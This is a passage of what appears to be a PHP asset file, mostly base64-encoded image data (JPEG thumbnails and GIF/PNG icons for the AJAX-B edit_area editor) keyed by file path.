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//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////x8AAAEFAQEBAQEBAAAAAAAAAAABAgMEBQYHCAkKC//EALUQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5+v/EAB8BAAMBAQEBAQEBAQEAAAAAAAABAgMEBQYHCAkKC//EALURAAIBAgQEAwQHBQQEAAECdwABAgMRBAUhMQYSQVEHYXETIjKBCBRCkaGxwQkjM1LwFWJy0QoWJDThJfEXGBkaJicoKSo1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoKDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uLj5OXm5+jp6vLz9PX29/j5+v/aAAwDAQACEQMRAD8A/TbxF420bwrDdPqV7HbvbwC4aInDshLAbQevKke3U4HNebfD/wDam8J/EDxTHoVsWgupiVgYlmE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',
  './AJAX-B/edit_area/images/autocompletion.gif' => 'R0lGODlhFAAUANUAABQUFPG1A7OWQPjcfFdXV6ioqPbKQPzuwUJCQj09PYuLi8zMzIODg/PCKty+Z/324PjTZvrmpDMzM8XFxc2vWff39/K8GPjZc/XGSPfOU0tLS/nelvrot97e3hYWFv///76gSvK2DfjZgGZmZv767O+1CPS/MPvnrPjXbPfQW66urpSUlNPT0/e9Gf745/vpuvbNSvzuxsGjTfjdgv/mpfG7CPTDM/XAJP///wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEHADgALAAAAAAUABQAAAaEQJxwSCwaj8jk8aQsuiK4Qwb3gDZxGQgks7kxr5sUagCzNEmQG2wmozgMNUhzk5FVPhRU46EkpTQLFSwgFyExSS5/IwoFAhcBNiJKGiMSCBplIXxJlBIJACgBMSYbSQQMngBRGEIcSAion0MvSrCpV0IjHZaquDgjCyu9vioJHr7IyUpBADs=',
  './AJAX-B/edit_area/images/close.gif' => 'R0lGODlhEAAOALIAAP///0BAQNTQyICAgAAAAAAAAAAAAAAAACwAAAAAEAAOAAADMwi63AEiyinHozhaGAmZnnZJoVAKG+Wd6Ah+U/qycgefNVvWWeX2IsBgSCwWA8ikcolMAAA7',
  './AJAX-B/edit_area/images/fullscreen.gif' => 'R0lGODlhFAAUAMMNADJKYqKxx0x0wsLW/nSTyJK2/OLy/mmV6UJ34Hym8uLq/qjH/ld92/b5/tLi/gAAACH5BAEAAA8ALAAAAAAUABQAAARz8MlJq704axy6/54VNGRpNoYBVCPhEgwhzAKirFTrOMPiL4WCDTfRoQy+YGLIahAGvWQicWDmnAODQrHbVR1ESetXmB4ODAS4SVhwu9D0+touU9EMefjRmt7RCAgMc0VHW1tdXXsPAI2Oj44bkpOUlZYTEQA7',
  './AJAX-B/edit_area/images/go_to_line.gif' => 'R0lGODlhFAAUAOewAAAFegAGegAJfgAJfwAQiAARgwARiAAVjQAYiQEbjwIblAYkmQYllQgomAwunw4unRc4sBg4sBY8uRhAvxdGsRxIsRtLzilMvCFRuilNvyxQwiFYwSNZwi1kxi5kxi5lxjNqyTxt1Cpv/DRw3zVv8jx00zF29i53/jh1/DN9/zp8/0SA3UeC2j6B/TeF/ziF/juH/z+F/zyI/z2J/1KF7ECL/06L4EuH/1+F5WaJ5GiJ4UeV/kuU/12O9luP/V2R/1uT+k+a/1Cb/16V+miT9WGX+mKb5WOY+lef/1uf/2mY/1qg/1mh/1yi/lel/mih6G6c/2Oj+lyo/3Ce/12o/3Oe/F2p/3Of/3af93Oh/3mk/2au/3ql/mev/32m/nqo/4Sl9Iam836o/4Co/4So92m1/2m2/4Oq/4Ks+4mq9ISr/4qv/4uv/3a6/3a7/4my/3a+/4u2+3i//5G0/424/4a/94DB/YLC/ojB+IPG/5y7/4XH/5y8/5y9/5+9/5jC+5DI/KG//5DJ/aTB/5vH+6bD/6jE/57K/KnE/6rF/6rG+6nG/63G/7LL/7HM/7PO/7bN/bbN/7zW/8DU/8bU+sHZ/8ba/8rc/8nd/9Dc+9Pl/9Tl/9fl/+Hq/+Lu/+Tt/+Xt/+fu/ufv//L2//P3//T3//b5//j6/vr8//z8/vz9//79/v/+/v/+/////f///v///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////yH5BAEKAP8ALAAAAAAUABQAAAj6AP8JHEiwoMGDCBMOBCBgQACFBA1c0BEGTA4NByBCSKNp0yVLmCRhkZAwwiNPkwxFaqRnkKM3Ew4SIMOJUaJBqkwhWjOnjw8FBjNUKuSHjZdMsEjx0aLmi4WCBXAsEnPmypQqlGCNmqMkCwkEBBMQgRKoEyhRn0K1glVqzA8UCwgy6HEDkqtXr1idggWLFRcVIhwQbEAjRoshRY4AUQQrFZoTKUw8KBgiyQwZMFzQQbUqzosaPEYYrBCFiZAgS1S9+rMjCJImGA6WaNOFipVDhJxI2eJmRUIWdvbIMVMGTp47Nigo9GCkDiBBeJ6AgDhwQ4cPHKhr354wIAA7',
  './AJAX-B/edit_area/images/help.gif' => 'R0lGODlhFAAUANQOABRPsqO7216Gnujx+XWRpiJa4nKc0Dlajc7Y3kJ6+3KY+KK9+pKtw73Cw/n8/lCB0jVu/hJTyVaK+ois/JKeosLX9YCn201wml+PzLDI3JGt4iJYwsLL3iJn9LLI9wAAACH5BAEAAB8ALAAAAAAUABQAAAWk4CeOZGmeaKquSKBZhhWsX2ZVTu5URpZmgd1EIplUBrITwuJYJBa5gWIxwHBMgUoloXB4JB5HwpNhmAyOSaII6XQlmIHAhHFIIPiOZLfZOA4mD2Jtel4bAH6AJXUKHQUFEw4REQAPAxcmDBUeBZMPFpQAARwEJhwGAxqTGg4AABYDBA0nDLABD30PAbEUKAgMGBkDUaS9Kg0EFwcXF7I0z9DRNCEAOw==',
  './AJAX-B/edit_area/images/highlight.gif' => 'R0lGODlhFAAUANQQAEY8JpJ6QurXfKKScmdjW9vPrMK4gvfxsGdlx0I6kpORwsKqQsrJ1LS0tG5ufkZOUvLq8tLIlt7d3aKaYv79woKChtK6YqCamMG1merckoB0YpKS4kxOZ7KSMuPcsQAAACH5BAEAAB8ALAAAAAAUABQAAAV94CeOZGmeaKquqKQoDDsyyoY4qtTstJ1wKZ2EIbkoEL8GCmPwNCDEioOjLBUihgOF4rlIKo1HxVTwbM+HSOXicDzIGS3lcMgIDIQK4W3yRLR1AgIWExwPVWQGdoIWCx0AiCcYA4yOABcsGBqNj5gyGAQBlzIjoBqkqKmqJyEAOw==',
  './AJAX-B/edit_area/images/load.gif' => 'R0lGODlhFAAUAOe1AAALuwALvAAMuQASpgAQtQASqwASsAAWrgAVwAAYvAAZyAQftgAeyQAk0gcmyQgquA8prgAp2gQxvxUrtwMzwwYw2hYzqgg/yh06rgg85CFAshFKzyVHuBZL4zFIxBZP7StPvTlRuzFWxB1Z6yFc0zhTzi9Y0SZd5zddyilj1zte2ihk8jpi0Cdn9jxl0Dln0zBq8zlr20Fp0kBn4Vpju0Fr1Thw20Ru1UZw2l1rwy59/ER83WhywEZ/3jyA+0iA3kmA4EiB3kmB4Fp72DeG/kuD4EuD51h96EeE+U6E50+G4HJ6xVKI5EyI+2+Cz0+O52CH4kaQ/liN6FWQ42SN4mGP50uW/m6P3YKIzFeY+VmY/HSR3myW5mWZ816c/ImV12Sk+WWk/m+j8nif84ag54aj6G+r/nar7puh24mo6ICv842r64iu96Oo3aGq3aqqyn24/ZKy8Je26IW/9Y+89Y+98ZW77LWyz7Wy1o/E+5fA/IXM/p/C8Lu42p/F96fC9b+917HF8cXD4MTD5KLV+Jva/M7K4cjO86be/K/a/tHO5qne/rjY+M7Q8NHT7a/m/NvX7NzY6bns/Lnt/tze99Dk+N7e9+Le8cjt/r/y/uPi+Obk+9rr/Obm++vn8ujo++np++zp98j7/uzr/Mr8/sv9/u7u/tX7/c/+/vHx+/Lx/vLy/vbz/OH+/vn2+/f3/vv2/v34/vz8/v79/v7+/v///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////yH5BAEKAP8ALAIAAQAQABAAAAjuAP8JHEiwoEGCPJYcNIilESUaBElISWJkg8A2oFSNQkNQiCREhc44cSRrVadNlnIMVELqkR03qWi9MvVJ06EvA4uIkjOIlk9asWBtwQGFhYkHQErVuRJnTZoyZIbEyBLFyokFPVA9ofLHDx01YrqEIaJjRIIDOzLZ4FTp1CI4Wny06OAAAIF/P+ZUaUUoj5kmMD5UYIAggIF/QabwmbQHjBckKzJEaKBAQIF/KZgwwpRID5sxR2aoKOFhgsALXGbRmsUq1CVIigT1wRNCIIVAP2m58hTJEKA7byAIlPDiRg0ZLlCIAMFBAwYLAwQGBAA7',
  './AJAX-B/edit_area/images/move.gif' => 'R0lGODlhEwATAMQUAP7+/gICAgYGBgcHBwEBAQsLCwUFBQkJCQ0NDQoKCgwMDAgICA8PDxERERkZGRMTExQUFAQEBAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAABQALAAAAAATABMAAAV+ICWO1DRJJqmSZmAk6cpOjyRI6CSPJ05IB9ROZDLlYqoib6EjIo3NkpCISBmn0uikEChGJIUitAjwTRoSxiGAa+MCi4FEwUAZcGLAQDyRHwUOWlgnMDpQPIMDAFoTADwKWosyYhBiQyUIEgk2EgZRk1sSmQdIOyYEN6VDYzIhADs=',
  './AJAX-B/edit_area/images/newdocument.gif' => 'R0lGODlhFAAUAMMGADJKYpKistLW4qK10vLy8sLK0v7+/pKqwuLn8rLC4rK+0vL4/tLd8qKtwsLM3gAAACH5BAEAAA8ALAAAAAAUABQAAARX8MlJq70465x6V8rgbIlhng0wZsp5HoXKumYA3NlA13a+L4QeprEjIIQXomuBOAIyh6WRgbQElk1BtXI1AREMx5bSNUwF4ifmGmi72+qL7Uavb+74vD4CADs=',
  './AJAX-B/edit_area/images/opacity.png' => 'iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAlSURBVHjaYvzw4d1mBioCJgYqg1EDRw0cNXDUwFEDh4qBAAEGAKocA6lmsBuJAAAAAElFTkSuQmCC',
  './AJAX-B/edit_area/images/processing.gif' => 'R0lGODlhEAAQAOMIAAAAABoaGjMzM0xMTGZmZoCAgJmZmbKysv///////////////////////////////yH/C05FVFNDQVBFMi4wAwEAAAAh+QQBCgAIACwAAAAAEAAQAAAESBDJiQCgmFqbZwjVhhwH9n3hSJbeSa1sm5GUIHSTYSC2jeu63q0D3PlwCB1lMMgUChgmk/J8LqUIAgFRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+UKgmFqbpxDV9gAA9n3hSJbeSa1sm5HUMHTTcTy2jeu63q0D3PlwDx2FQMgYDBgmk/J8LqWPQuFRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+YSgmFqb5xjV9gQB9n3hSJbeSa1sm5EUQXQTADy2jeu63q0D3PlwDx2lUMgcDhgmk/J8LqUPg+FRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+cagmFqbJyHV9ggC9n3hSJbeSa1sm5FUUXRTEDy2jeu63q0D3PlwDx3FYMgAABgmk/J8LqWPw+FRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+QihmFqbZynV9gwD9n3hSJbeSa1sm5GUYXSTIDy2jeu63q0D3PlwDx3lcMgEAhgmk/J